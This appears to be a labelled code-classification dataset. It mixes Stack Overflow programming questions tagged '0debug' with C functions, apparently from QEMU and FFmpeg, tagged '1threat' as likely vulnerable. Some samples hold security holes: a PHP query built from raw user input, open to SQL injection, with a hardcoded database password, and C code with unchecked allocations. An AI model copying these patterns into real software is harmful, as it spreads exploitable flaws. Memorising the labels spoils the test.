how can i style my php code result? : i wrote this code and i want to style it with css. I added style to it but same result appears can any body help please . <p> <phpcode> <?php $term = mysql_real_escape_string($_REQUEST['term']); $servername = "localhost"; $username = "cp22084"; $password = "1O7FRlB4D567"; $dbname = "cp22084_voltmotor"; $conn = new mysqli($servername, $username, $password, $dbname); if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } $sql = "SELECT Install , power , RPM FROM SN WHERE serial = '$term'"; $result = $conn->query($sql); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { echo "serial number: " . $term.'<br>'; echo "installation: " . $row["Install"].'<br>'; echo "power: " . $row["power"].'<br>'; echo "RPM: " . $row["RPM"].'<br>'; } } else { echo "no result"; } $conn->close(); ?> </phpcode> </p>
0debug
Open flutter dialog after navigation : <p>I call Navigator pushReplacement to show a new view within my flutter app and want to immediately pop up a simple dialog to introduce the page to the user. (I want the user to be able to see the new view in the background)</p> <p>If I call showDialog within the build method of a widget, and then subsequently return a widget (scaffold) from the build method I get errors stating that flutter is already drawing a widget. I expect I need to listen on a build complete event and then call showDialog.</p> <p>Guidance on how to do that much appreciated.</p>
0debug
Hi sorry can someone teach me how to find the max in a list of numbers using the for/while loop : Hi sorry can someone teach me how to find the max in a list of numbers using the for/while loop in python 3. I have been stuck all day for example data = [73284, 8784.3, 9480938.2, 984958.3, 24131, 45789, 734987, 23545.3, 894859.2, 842758.3]
0debug
C# problems with for loop : <p>can someone tell me why this doesn't work. I want to display randomly ten chemical elements, but it always displays the same elements. Thanks for help!</p> <pre><code> var random = new Random(); var list = new List&lt;string&gt; { "Hg" , "B", "H", "Mg" }; int index = random.Next(list.Count); for (int i = 0; i &lt; 10; i++) { Console.WriteLine(list[index]); } </code></pre>
0debug
Queue vs Dequeue in java : <p>What is the difference between them? I know that </p> <p>A queue is designed to have elements inserted at the end of the queue, and elements removed from the beginning of the queue. Where as Dequeue represents a queue where you can insert and remove elements from both ends of the queue. </p> <p>But which is more efficient?</p> <p>Plus what's the difference between them two? cause i have a bit of knowledge about them, what i said above, but i would like to know more about them. It will be appreciated.</p>
0debug
Can I have a route53 subdomain in a different Hosted Zone? : <p>I have foo.com as a Hosted Zone with an A, NS, SOA, TXT and MX Record Sets. It works fine. Now I want a separate test.foo.com with an A entry but I want it in a separate Hosted Zone. Is it possible?</p> <p>If I put an A record in foo.com's Hosted Zone with the value test.foo.com it works but I want it in a separate Hosted Zone.</p> <p>I want it like so in order to have a clear separation between the test and prod. This way I can break the test but the prod is still up.</p> <p>Thank you!</p>
0debug
Why is variable not always null? : <p>Within the selectMarkerIfHover method, the if statement allows for a case when "lastSelected" is not null. </p> <p>For the life of me I cannot see a situation when this could ever happen, because it appears to always be either null to begin with, or set as null in the mouseMoved method. I need to understand how lastSelected could ever be null when the selectMarkerIfHover method is called. I have looked everywhere for help to solve this, but it is so specific, I could not find an answer.</p> <pre><code>public class EarthquakeCityMap extends PApplet { // You can ignore this. It's to get rid of eclipse warnings private static final long serialVersionUID = 1L; // IF YOU ARE WORKING OFFILINE, change the value of this variable to true private static final boolean offline = false; /** This is where to find the local tiles, for working without an Internet connection */ public static String mbTilesString = "blankLight-1-3.mbtiles"; //feed with magnitude 2.5+ Earthquakes private String earthquakesURL = "https://earthquake.usgs.gov/earthquakes/feed/v1.0/summary/2.5_week.atom"; // The files containing city names and info and country names and info private String cityFile = "city-data.json"; private String countryFile = "countries.geo.json"; // The map private UnfoldingMap map; // Markers for each city private List&lt;Marker&gt; cityMarkers; // Markers for each earthquake private List&lt;Marker&gt; quakeMarkers; // A List of country markers private List&lt;Marker&gt; countryMarkers; // NEW IN MODULE 5 private CommonMarker lastSelected; private CommonMarker lastClicked; public void setup() { // (1) Initializing canvas and map tiles size(900, 700, OPENGL); if (offline) { map = new UnfoldingMap(this, 200, 50, 650, 600, new MBTilesMapProvider(mbTilesString)); earthquakesURL = "2.5_week.atom"; // The same feed, but saved August 7, 2015 } else { map = new UnfoldingMap(this, 200, 50, 650, 600, new Google.GoogleMapProvider()); // IF YOU WANT TO TEST WITH A LOCAL FILE, uncomment the next line //earthquakesURL = "2.5_week.atom"; } MapUtils.createDefaultEventDispatcher(this, map); // (2) Reading in earthquake data and geometric properties // STEP 1: load country features and markers List&lt;Feature&gt; countries = GeoJSONReader.loadData(this, countryFile); countryMarkers = MapUtils.createSimpleMarkers(countries); // STEP 2: read in city data List&lt;Feature&gt; cities = GeoJSONReader.loadData(this, cityFile); cityMarkers = new ArrayList&lt;Marker&gt;(); for(Feature city : cities) { cityMarkers.add(new CityMarker(city)); } // STEP 3: read in earthquake RSS feed List&lt;PointFeature&gt; earthquakes = ParseFeed.parseEarthquake(this, earthquakesURL); quakeMarkers = new ArrayList&lt;Marker&gt;(); for(PointFeature feature : earthquakes) { //check if LandQuake if(isLand(feature)) { quakeMarkers.add(new LandQuakeMarker(feature)); } // OceanQuakes else { quakeMarkers.add(new OceanQuakeMarker(feature)); } } // could be used for debugging printQuakes(); // (3) Add markers to map // NOTE: Country markers are not added to the map. They are used // for their geometric properties map.addMarkers(quakeMarkers); map.addMarkers(cityMarkers); } // End setup public void draw() { background(0); map.draw(); addKey(); } /** Event handler that gets called automatically when the * mouse moves. */ @Override public void mouseMoved() { // clear the last selection if (lastSelected != null) { lastSelected.setSelected(false); lastSelected = null; } selectMarkerIfHover(quakeMarkers); selectMarkerIfHover(cityMarkers); } // If there is a marker under the cursor, and lastSelected is null // set the lastSelected to be the first marker found under the cursor // Make sure you do not select two markers. // private void selectMarkerIfHover(List&lt;Marker&gt; markers) { // TODO: Implement this method // Abort if there's already a marker selected if (lastSelected != null) { return; } for(Marker m : markers) { CommonMarker marker = (CommonMarker)m; if(marker.isInside(map,mouseX,mouseY)) { lastSelected = marker; marker.setSelected(true); return; } } } /** The event handler for mouse clicks * It will display an earthquake and its threat circle of cities * Or if a city is clicked, it will display all the earthquakes * where the city is in the threat circle */ @Override public void mouseClicked() { // TODO: Implement this method // Hint: You probably want a helper method or two to keep this code // from getting too long/disorganized if(lastClicked != null) { unhideMarkers(); lastClicked = null; } else if(lastClicked == null) { checkEarthquakes(); if(lastClicked == null) { checkCities(); } } } // Helper method that will check if an earthquake marker was clicked on // and respond appropriately private void checkEarthquakes() { if (lastClicked != null) return; // Loop over the earthquake markers to see if one of them is selected for (Marker m : quakeMarkers) { EarthquakeMarker marker = (EarthquakeMarker)m; if (!marker.isHidden() &amp;&amp; marker.isInside(map, mouseX, mouseY)) { lastClicked = marker; // Hide all the other earthquakes and hide for (Marker mhide : quakeMarkers) { if (mhide != lastClicked) { mhide.setHidden(true); } } for (Marker mhide : cityMarkers) { if (mhide.getDistanceTo(marker.getLocation()) &gt; marker.threatCircle()) { mhide.setHidden(true); } } return; } } } // Helper method that will check if a city marker was clicked on // and respond appropriately private void checkCities() { if (lastClicked != null) return; // Loop over the earthquake markers to see if one of them is selected for (Marker marker : cityMarkers) { if (!marker.isHidden() &amp;&amp; marker.isInside(map, mouseX, mouseY)) { lastClicked = (CommonMarker)marker; // Hide all the other earthquakes and hide for (Marker mhide : cityMarkers) { if (mhide != lastClicked) { mhide.setHidden(true); } } for (Marker mhide : quakeMarkers) { EarthquakeMarker quakeMarker = (EarthquakeMarker)mhide; if (quakeMarker.getDistanceTo(marker.getLocation()) &gt; quakeMarker.threatCircle()) { quakeMarker.setHidden(true); } } return; } } } // loop over and unhide all markers private void unhideMarkers() { for(Marker marker : quakeMarkers) { marker.setHidden(false); } for(Marker marker : cityMarkers) { marker.setHidden(false); } } // helper method to draw key in GUI private void addKey() { // Remember you can use Processing's graphics methods here fill(255, 250, 240); int xbase = 25; int ybase = 50; rect(xbase, ybase, 150, 250); fill(0); textAlign(LEFT, CENTER); textSize(12); text("Earthquake Key", xbase+25, ybase+25); fill(150, 30, 30); int tri_xbase = xbase + 35; int tri_ybase = ybase + 50; triangle(tri_xbase, tri_ybase-CityMarker.TRI_SIZE, tri_xbase-CityMarker.TRI_SIZE, tri_ybase+CityMarker.TRI_SIZE, tri_xbase+CityMarker.TRI_SIZE, tri_ybase+CityMarker.TRI_SIZE); fill(0, 0, 0); textAlign(LEFT, CENTER); text("City Marker", tri_xbase + 15, tri_ybase); text("Land Quake", xbase+50, ybase+70); text("Ocean Quake", xbase+50, ybase+90); text("Size ~ Magnitude", xbase+25, ybase+110); fill(255, 255, 255); ellipse(xbase+35, ybase+70, 10, 10); rect(xbase+35-5, ybase+90-5, 10, 10); fill(color(255, 255, 0)); ellipse(xbase+35, ybase+140, 12, 12); fill(color(0, 0, 255)); ellipse(xbase+35, ybase+160, 12, 12); fill(color(255, 0, 0)); ellipse(xbase+35, ybase+180, 12, 12); textAlign(LEFT, CENTER); fill(0, 0, 0); text("Shallow", xbase+50, ybase+140); text("Intermediate", xbase+50, ybase+160); text("Deep", xbase+50, ybase+180); text("Past hour", xbase+50, ybase+200); fill(255, 255, 255); int centerx = xbase+35; int centery = ybase+200; ellipse(centerx, centery, 12, 12); strokeWeight(2); line(centerx-8, centery-8, centerx+8, centery+8); line(centerx-8, centery+8, centerx+8, centery-8); } // Checks whether this quake occurred on land. If it did, it sets the // "country" property of its PointFeature to the country where it occurred // and returns true. Notice that the helper method isInCountry will // set this "country" property already. Otherwise it returns false. private boolean isLand(PointFeature earthquake) { // IMPLEMENT THIS: loop over all countries to check if location is in any of them // If it is, add 1 to the entry in countryQuakes corresponding to this country. for (Marker country : countryMarkers) { if (isInCountry(earthquake, country)) { return true; } } // not inside any country return false; } // prints countries with number of earthquakes private void printQuakes() { int totalWaterQuakes = quakeMarkers.size(); for (Marker country : countryMarkers) { String countryName = country.getStringProperty("name"); int numQuakes = 0; for (Marker marker : quakeMarkers) { EarthquakeMarker eqMarker = (EarthquakeMarker)marker; if (eqMarker.isOnLand()) { if (countryName.equals(eqMarker.getStringProperty("country"))) { numQuakes++; } } } if (numQuakes &gt; 0) { totalWaterQuakes -= numQuakes; System.out.println(countryName + ": " + numQuakes); } } System.out.println("OCEAN QUAKES: " + totalWaterQuakes); } // helper method to test whether a given earthquake is in a given country // This will also add the country property to the properties of the earthquake feature if // it's in one of the countries. // You should not have to modify this code private boolean isInCountry(PointFeature earthquake, Marker country) { // getting location of feature Location checkLoc = earthquake.getLocation(); // some countries represented it as MultiMarker // looping over SimplePolygonMarkers which make them up to use isInsideByLoc if(country.getClass() == MultiMarker.class) { // looping over markers making up MultiMarker for(Marker marker : ((MultiMarker)country).getMarkers()) { // checking if inside if(((AbstractShapeMarker)marker).isInsideByLocation(checkLoc)) { earthquake.addProperty("country", country.getProperty("name")); // return if is inside one return true; } } } // check if inside country represented by SimplePolygonMarker else if(((AbstractShapeMarker)country).isInsideByLocation(checkLoc)) { earthquake.addProperty("country", country.getProperty("name")); return true; } return false; } } </code></pre>
0debug
Pass javascript variable from index.js into index.html : This is my index.js file function fun() { var obj; } This is my index.html() <script> src="js/index.js" </script> I want to use variable obj here I saw some solutions to create a variable and pass in index.html but is there any way of injection?
0debug
How to get the returned rows after executing a PHP/MYSQL prepared statement? : <p>I know the output of an execute statement is a bool. But then how do you get the result of a SELECT statement like below?</p> <pre><code>&lt;?php /* Execute a prepared statement by passing an array of insert values */ $calories = 150; $colour = 'red'; $sth = $dbh-&gt;prepare('SELECT name, colour, calories FROM fruit WHERE calories &lt; :calories AND colour = :colour'); $sth-&gt;execute(array(':calories' =&gt; $calories, ':colour' =&gt; $colour)); ?&gt; </code></pre> <p>$sth will be either TRUE or FALSE. What I'm interested in is the return rows containing the name, colour and etc.</p> <p>Thanks!</p>
0debug
I can compile this code and the build is successful, although nothing is printing out on the print line. Java Netbeans : public class TEST{ String name1 = "Kelly"; String name2 = "Christy"; String name3 = "Johnson"; public static void main(String[] args) { } public void displaySalutation(String name1){ displayLetter(); } public void displaySalutation(String name2, String name3){ displayLetter(); } public void displayLetter(){ System.out.println("Thank you for your recent order."); } }
0debug
vcard_emul_replay_insertion_events(void) { VReaderListEntry *current_entry; VReaderListEntry *next_entry = NULL; VReaderList *list = vreader_get_reader_list(); for (current_entry = vreader_list_get_first(list); current_entry; current_entry = next_entry) { VReader *vreader = vreader_list_get_reader(current_entry); next_entry = vreader_list_get_next(current_entry); vreader_queue_card_event(vreader); } vreader_list_delete(list); }
1threat
Populate javascript variables with php variables : I must use php variables (from DB) to populate javascript variables like the one below: var oMain = new CMain({ mon: 100, min_: 10, max_: 25, time_bet: 0, time_winner: 500, win_occurrence: 65, cash:100000, fullscreen:true, check_orientation:true, show_credits:true, num_before_ads:1 }); it tried to echo my php variables directly in javascript (ex : `mon: <?php echo $mon; ?>,`) but this does not work. What do you recommend?
0debug
how to get last modified record from spreadsheet and insert into database(mysql) + ajax? : I have created app in script.google.com and define below function which is auto trigger when any cell is changed from spreadsheet. Now i would like to update that value in my database (mysql). Please help me. Below is the code which i used in my current system. =========================== script code (which is defined in script.google.com) =========================== function onEdit(e) { var row_res = e.range.getRow(); var column = e.range.getColumn(); $.ajax({ url : 'http://dev.digitalvidya.com/assist/sheet/sort', type : 'GET', data : { 'row' : row_res }, dataType:'json', success : function(data) { alert('Data: '+data); }, error : function(request,error) { alert("Request: "+JSON.stringify(request)); } }); } ==================================
0debug
How to find a string is Json or not in C++? : I am using #include jansson.h bool ConvertJsontoString(string inputText, string& OutText) { /* Before doing anything i want to check the inputText is a valid json string or not */ }
0debug
syntax error, unexpected '$query' (T_VARIABLE) : <?php $host_name = "localhost"; $username = "root"; $password = ""; $database = "jaka_crud_ci"; $koneksi = mysqli_connect($host_name, $username, $password, $database); mysql_select_db($database); $query = mysqli_query($koneksi, "SELECT * FROM pembeli"; $hasil = mysqli_query($query); while ( $buyer = mysqli_fetch_assoc($hasil)){ echo $buyer ['Nama']; echo $buyer ['Barang']; echo $buyer ['Retribusi']; } ?> i have that line of code, its produce syntax error unexpected '$query'(T_VARIABLE). Whats wrong ?
0debug
Fody is only supported on MSBuild 16 and above. Current version: 15 : <p>Visual Studio 2017 let me know there was an upgrade to Fody version 5 this morning. I accepted and did a NuGet package update of both Fody and PropertyChanged.Fody.</p> <p>Now, my project/solution will no longer build.</p> <p>The error is:</p> <p>"Fody is only supported on MSBuild 16 and above. Current version: 15."</p> <p>I tried uninstalling, shutting down VS, and reinstalling to no avail.</p>
0debug
Finding maximum value in a dictionary Python : <p>the input I have given is </p> <ul> <li>BatmanA,14</li> <li>BatmanB,199</li> <li>BatmanC,74</li> <li>BatmanD,15</li> <li>BatmanE,9</li> </ul> <p>and the output i expect is the highest value and i get something else this is my code below i have tried other methods too pls help thanks.</p> <pre><code>N = int(input("Enter the number of batsman : ")) d = {} for i in range(0,N): batsman = input("enter the batsman values " ).split(',') d[batsman[0]] = batsman[1] v = list(d.values()) k = list(d.keys()) print(k[v.index(max(v))]) </code></pre>
0debug
'AnonymousUser' object is not iterable : <pre><code>if not request.user.is_authenticated: return None try: return ClientProfile.objects.get(user=request.user) except ClientProfile.DoesNotExist: return None </code></pre> <p>This code should return None, if I'm not logged in and trying to call it. But as I see from stacktrace, it crashes with error "'AnonymousUser' object is not iterable" on this line:</p> <pre><code>return ClientProfile.objects.get(user=request.user) </code></pre> <p>I'm browsing the following page in private mode, so I'm 100% not authenticated. </p> <p>How to fix this issue?</p>
0debug
Sort multiple files into one single file : <p>I have 200 folders with up to 20 files in each folder. Total the dataset is 2gb. I tried parsing all at once and put each line into a list and sort them but i get out of memory.</p> <p>What approach could I use to sort the multiple files into on single file?</p>
0debug
static void x86_cpu_apic_create(X86CPU *cpu, Error **errp) { DeviceState *dev = DEVICE(cpu); APICCommonState *apic; const char *apic_type = "apic"; if (kvm_irqchip_in_kernel()) { apic_type = "kvm-apic"; } else if (xen_enabled()) { apic_type = "xen-apic"; } cpu->apic_state = qdev_try_create(qdev_get_parent_bus(dev), apic_type); if (cpu->apic_state == NULL) { error_setg(errp, "APIC device '%s' could not be created", apic_type); return; } object_property_add_child(OBJECT(cpu), "apic", OBJECT(cpu->apic_state), NULL); qdev_prop_set_uint8(cpu->apic_state, "id", cpu->apic_id); apic = APIC_COMMON(cpu->apic_state); apic->cpu = cpu; apic->apicbase = APIC_DEFAULT_ADDRESS | MSR_IA32_APICBASE_ENABLE; }
1threat
static void send_framebuffer_update_hextile(VncState *vs, int x, int y, int w, int h) { int i, j; int has_fg, has_bg; uint8_t *last_fg, *last_bg; vnc_framebuffer_update(vs, x, y, w, h, 5); last_fg = (uint8_t *) malloc(vs->depth); last_bg = (uint8_t *) malloc(vs->depth); has_fg = has_bg = 0; for (j = y; j < (y + h); j += 16) { for (i = x; i < (x + w); i += 16) { vs->send_hextile_tile(vs, i, j, MIN(16, x + w - i), MIN(16, y + h - j), last_bg, last_fg, &has_bg, &has_fg); } } free(last_fg); free(last_bg); }
1threat
What are the most important updated points from django since 1.5.8? : <p>I've an application that still uses Django 1.5.8, there's a lot of work to do in an update, I need to figure what are the most important changes since that version. Like major bugfixes, new tools, new libraries, new scallable contents. That's a lot of info, I'm aware of that. If there's a link where I can find It, I just havenát found it yet. Thanks in advance! Cheers!!!</p>
0debug
How to convert each character in a character array to integer ? : I have tried the standard methods but still I get error in my answer. For eg, with this code: int main() { int val; char str[]={'1','45','0'}; val = str[1]-'0'; printf("Int value = %d\n",val); return(0); } I am getting ans as 5 instead of 45. How do I solve this issue? Plz help.
0debug
How to solve stale exception in selenium? : <p>I have tried fluent wait but Actually Sometime run successfully and sometime's got exception like stale exception in selenium.</p>
0debug
Parallel loop with insert into tabel (oracel) (c#) : i'm trying to insert into tabel in a parallel loop. public static void idToHashEncoder() { string sql = ""; Stopwatch sw = new Stopwatch(); sw.Start(); Parallel.For(0, 1001, i => { sql = string.Format(@"INSERT INTO ID_TO_HASH(ID, HASH) VALUES({0}, {1})", i.ToString(), i.ToString().GetHashCode()); GeneralDbExecuterService.executeSqlSelectDataScript(sql.ToString()); }); sw.Stop(); TimeSpan elapsedTime = sw.Elapsed; } executeSqlSelectDataScript: public static DataTable executeSqlSelectDataScript(string sql) { //String sConnectionString = System.Configuration.ConfigurationManager.ConnectionStrings["ORADB"].ConnectionString; // OleDbConnection myConnection = new OleDbConnection(sConnectionString); //OleDbCommand myCommand = new OleDbCommand(sql, myConnection); OracleConnection myConnection = new OracleConnection(sConnectionString); OracleCommand myCommand = new OracleCommand(sql, myConnection); try { //myCommand.Parameters.Add("@p1", OleDbType.Char, 5).Value = "Test%"; myConnection.Open(); //OleDbDataReader myReader = myCommand.ExecuteReader(); OracleDataReader myReader = myCommand.ExecuteReader(); var dataTable = new DataTable(); dataTable.Load(myReader); myReader.Close(); return dataTable; } catch (Exception ex) { logger.Error(ex.Message + "sql : " + sql); throw ex; } finally { myConnection.Close(); } } ***i'm getting this***: An exception of type 'System.TypeInitializationException' occurred in PRD.dll but was not handled in user code ***Any economical solution will be welcome***
0debug
installing Tweepy for python3 on mac : Ok I have posted this question before and it seams like no one is able to guide me :( i want to run tweepy on python 3. I have it working on python2 right now. I followed the steps on this page https://github.com/tweepy/tweepy When I go to write python3 setup.py install I get this message of it downloading which obviously means its not downloading properly. Why won't it download properly on python3? running install running bdist_egg running egg_info writing tweepy.egg-info/PKG-INFO writing dependency_links to tweepy.egg-info/dependency_links.txt writing requirements to tweepy.egg-info/requires.txt writing top-level names to tweepy.egg-info/top_level.txt reading manifest file 'tweepy.egg-info/SOURCES.txt' reading manifest template 'MANIFEST.in' writing manifest file 'tweepy.egg-info/SOURCES.txt' installing library code to build/bdist.macosx-10.6-intel/egg running install_lib running build_py creating build/bdist.macosx-10.6-intel/egg creating build/bdist.macosx-10.6-intel/egg/examples copying build/lib/examples/__init__.py -> build/bdist.macosx-10.6-intel/egg/examples copying build/lib/examples/oauth.py -> build/bdist.macosx-10.6-intel/egg/examples copying build/lib/examples/streaming.py -> build/bdist.macosx-10.6-intel/egg/examples creating build/bdist.macosx-10.6-intel/egg/tweepy copying build/lib/tweepy/__init__.py -> build/bdist.macosx-10.6-intel/egg/tweepy copying build/lib/tweepy/api.py -> build/bdist.macosx-10.6-intel/egg/tweepy copying build/lib/tweepy/auth.py -> build/bdist.macosx-10.6-intel/egg/tweepy copying build/lib/tweepy/binder.py -> build/bdist.macosx-10.6-intel/egg/tweepy copying build/lib/tweepy/cache.py -> build/bdist.macosx-10.6-intel/egg/tweepy copying build/lib/tweepy/cursor.py -> build/bdist.macosx-10.6-intel/egg/tweepy copying build/lib/tweepy/error.py -> build/bdist.macosx-10.6-intel/egg/tweepy copying build/lib/tweepy/models.py -> build/bdist.macosx-10.6-intel/egg/tweepy copying build/lib/tweepy/parsers.py -> build/bdist.macosx-10.6-intel/egg/tweepy copying build/lib/tweepy/streaming.py -> build/bdist.macosx-10.6-intel/egg/tweepy copying build/lib/tweepy/utils.py -> build/bdist.macosx-10.6-intel/egg/tweepy byte-compiling build/bdist.macosx-10.6-intel/egg/examples/__init__.py to __init__.cpython-36.pyc byte-compiling build/bdist.macosx-10.6-intel/egg/examples/oauth.py to oauth.cpython-36.pyc byte-compiling build/bdist.macosx-10.6-intel/egg/examples/streaming.py to streaming.cpython-36.pyc byte-compiling build/bdist.macosx-10.6-intel/egg/tweepy/__init__.py to __init__.cpython-36.pyc byte-compiling build/bdist.macosx-10.6-intel/egg/tweepy/api.py to api.cpython-36.pyc byte-compiling build/bdist.macosx-10.6-intel/egg/tweepy/auth.py to auth.cpython-36.pyc byte-compiling build/bdist.macosx-10.6-intel/egg/tweepy/binder.py to binder.cpython-36.pyc byte-compiling build/bdist.macosx-10.6-intel/egg/tweepy/cache.py to cache.cpython-36.pyc byte-compiling build/bdist.macosx-10.6-intel/egg/tweepy/cursor.py to cursor.cpython-36.pyc byte-compiling build/bdist.macosx-10.6-intel/egg/tweepy/error.py to error.cpython-36.pyc byte-compiling build/bdist.macosx-10.6-intel/egg/tweepy/models.py to models.cpython-36.pyc byte-compiling build/bdist.macosx-10.6-intel/egg/tweepy/parsers.py to parsers.cpython-36.pyc byte-compiling build/bdist.macosx-10.6-intel/egg/tweepy/streaming.py to streaming.cpython-36.pyc byte-compiling build/bdist.macosx-10.6-intel/egg/tweepy/utils.py to utils.cpython-36.pyc creating build/bdist.macosx-10.6-intel/egg/EGG-INFO copying tweepy.egg-info/PKG-INFO -> build/bdist.macosx-10.6-intel/egg/EGG-INFO copying tweepy.egg-info/SOURCES.txt -> build/bdist.macosx-10.6-intel/egg/EGG-INFO copying tweepy.egg-info/dependency_links.txt -> build/bdist.macosx-10.6-intel/egg/EGG-INFO copying tweepy.egg-info/requires.txt -> build/bdist.macosx-10.6-intel/egg/EGG-INFO copying tweepy.egg-info/top_level.txt -> build/bdist.macosx-10.6-intel/egg/EGG-INFO copying tweepy.egg-info/zip-safe -> build/bdist.macosx-10.6-intel/egg/EGG-INFO creating 'dist/tweepy-3.6.0-py3.6.egg' and adding 'build/bdist.macosx-10.6-intel/egg' to it removing 'build/bdist.macosx-10.6-intel/egg' (and everything under it) Processing tweepy-3.6.0-py3.6.egg Removing /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/tweepy-3.6.0-py3.6.egg Copying tweepy-3.6.0-py3.6.egg to /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages tweepy 3.6.0 is already the active version in easy-install.pth Installed /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/tweepy-3.6.0-py3.6.egg Processing dependencies for tweepy==3.6.0 Searching for PySocks>=1.5.7 Reading https://pypi.python.org/simple/PySocks/ Download error on https://pypi.python.org/simple/PySocks/: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:748) -- Some packages may not be found! Couldn't find index page for 'PySocks' (maybe misspelled?) Scanning index of all packages (this may take a while) Reading https://pypi.python.org/simple/ Download error on https://pypi.python.org/simple/: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:748) -- Some packages may not be found! No local packages or working download links found for PySocks>=1.5.7 error: Could not find suitable distribution for Requirement.parse('PySocks>=1.5.7')
0debug
Use str() command to compose nested string : <p>Intuitively, I want to input str(str(100)) to output '"100"', but this, of course, does not work. Any suggestions on how to compose a nested string in Python using only the str() command?</p>
0debug
def multiply_int(x, y): if y < 0: return -multiply_int(x, -y) elif y == 0: return 0 elif y == 1: return x else: return x + multiply_int(x, y - 1)
0debug
Check two location(latitude, longlatitude) near in 2000 meters : <p>I have two location latitude, long-latitude. I need to check 2nd location available within 2000 meters with first 1st location.</p> <p>Also i have location array an i want to check with 1st location. I need result how many available in 2000 meters</p> <p>Thanks,<br> Bharat Bhola</p>
0debug
pointer from one class to anotehr : Hello I want to point "seller" to "name" but it gives me an error. please help. ` class Person { public: friend class Apartment; Person() { cout << "~ "; }//constructor string name = "Mr.Smith\n"; string TelNumber = "01"; int age = 0; }; class Apartment { public: string Address = "jyu"; double Area = 74.0; double Price = 320.0; int numberOfRooms = 3; //string name = "d"; string *Seller = &name; //Apartment(string *Seller = null) { //} // constructor for seller Apartment () { string *Seller=nullptr; } // Apartment::Apartment(); };`
0debug
Documentation on archiveArtifacts command in Jenkins : <p>I'm working on a basic Jenkins pipeline. The build and testing are successful but I'm looking at how to archive the build. For context, this is a simple Rust webserver.</p> <p>Under the <a href="https://jenkins.io/doc/pipeline/steps/" rel="noreferrer">pipeline steps</a> documentation in the Basic Steps plugin, it has the <code>archive</code> function. But it says:</p> <blockquote> <p>Archives build output artifacts for later use. As of Jenkins 2.x, you may use the more configurable <code>archiveArtifacts</code>.</p> </blockquote> <p>I cannot find any documentation on <code>archiveArtifacts</code>. There are some examples, but I would like to look at the documentation for it, what parameters it accepts, i.e. what makes it more configurable than <code>archive</code>.</p> <p>My question: is there a place where this documentation is best found? <a href="https://jenkins.io" rel="noreferrer">jenkins.io</a> is incomplete and <a href="https://wiki.jenkins.io/" rel="noreferrer">wiki.jenkins.io</a> is missing this command. </p>
0debug
Python - Packaging Alembic Migrations with Setuptools : <p>What is the right way to package Alembic migration files in a Setuptools <code>setup.py</code> file? Everything is in my repo root as <code>alembic/</code>.</p> <p>This is a Python application, not a library.</p> <p>My desired installation flow is that someone can <code>pip install</code> the wheel that is my application. They would then be able to initialize the application database by running something like <code>&lt;app&gt; alembic upgrade --sqlalchemy.url=&lt;db_url&gt;</code>. Upgrades would then require a <code>pip install -U</code>, after which they can run the Alembic command again.</p> <p>Is this unorthodox?</p> <p>If not, how would I accomplish this? Certainly a <code>console_scripts</code> <code>entry_points</code>. But beyond that?</p>
0debug
Is there a way to use multiple auth_request directives in nginx? : <p>I would like to use multiple <code>auth_request</code> directives in order to try authentication with multiple servers - i.e. if the first auth server returns <code>403</code>, try the second auth server. I tried a straightforward approach like this:</p> <pre><code>location /api { satisfy any; auth_request /auth-1/; auth_request /auth-2/; proxy_pass http://api_impl; } location /auth-1/ { internal; proxy_pass http://auth_server_1; proxy_pass_request_body off; proxy_set_header Content-Length ""; proxy_set_header X-Original-URI $request_uri; } location /auth-2/ { internal; proxy_pass http://auth_server_2; proxy_pass_request_body off; proxy_set_header Content-Length ""; proxy_set_header X-Original-URI $request_uri; } </code></pre> <p>But nginx wouldn't parse the config file. I received the response</p> <pre><code>nginx: [emerg] "auth_request" directive is duplicate </code></pre> <p>Is there a way to achive such functionality in nginx?</p>
0debug
One line to check if string or list, then convert to list in Python : <p>Suppose I have an object <code>a</code> that can either be a string (like <code>'hello'</code> or <code>'hello there'</code>) or a list (like <code>['hello', 'goodbye']</code>). I need to check if <code>a</code> is a string or list. If it's a string, then I want to convert it to a one element list (so convert <code>'hello there'</code> to <code>['hello there']</code>). If it's a list, then I want to leave it alone as a list.</p> <p>Is there a Pythonic one-line piece of code to do this? I know I can do:</p> <pre><code>if isinstance(a, str): a = [a] </code></pre> <p>But I'm wondering if there's a more direct, more Pythonic one-liner to do this.</p>
0debug
int avcodec_default_reget_buffer(AVCodecContext *s, AVFrame *pic){ AVFrame temp_pic; int i; assert(s->codec_type == AVMEDIA_TYPE_VIDEO); if (pic->data[0] && (pic->width != s->width || pic->height != s->height || pic->format != s->pix_fmt)) { av_log(s, AV_LOG_WARNING, "Picture changed from size:%dx%d fmt:%s to size:%dx%d fmt:%s in reget buffer()\n", pic->width, pic->height, av_get_pix_fmt_name(pic->format), s->width, s->height, av_get_pix_fmt_name(s->pix_fmt)); s->release_buffer(s, pic); } if(pic->data[0] == NULL) { pic->buffer_hints |= FF_BUFFER_HINTS_READABLE; return s->get_buffer(s, pic); } if(pic->type == FF_BUFFER_TYPE_INTERNAL) { if(s->pkt) pic->pkt_pts= s->pkt->pts; else pic->pkt_pts= AV_NOPTS_VALUE; pic->reordered_opaque= s->reordered_opaque; return 0; } temp_pic = *pic; for(i = 0; i < AV_NUM_DATA_POINTERS; i++) pic->data[i] = pic->base[i] = NULL; pic->opaque = NULL; if (s->get_buffer(s, pic)) return -1; av_picture_copy((AVPicture*)pic, (AVPicture*)&temp_pic, s->pix_fmt, s->width, s->height); s->release_buffer(s, &temp_pic); return 0; }
1threat
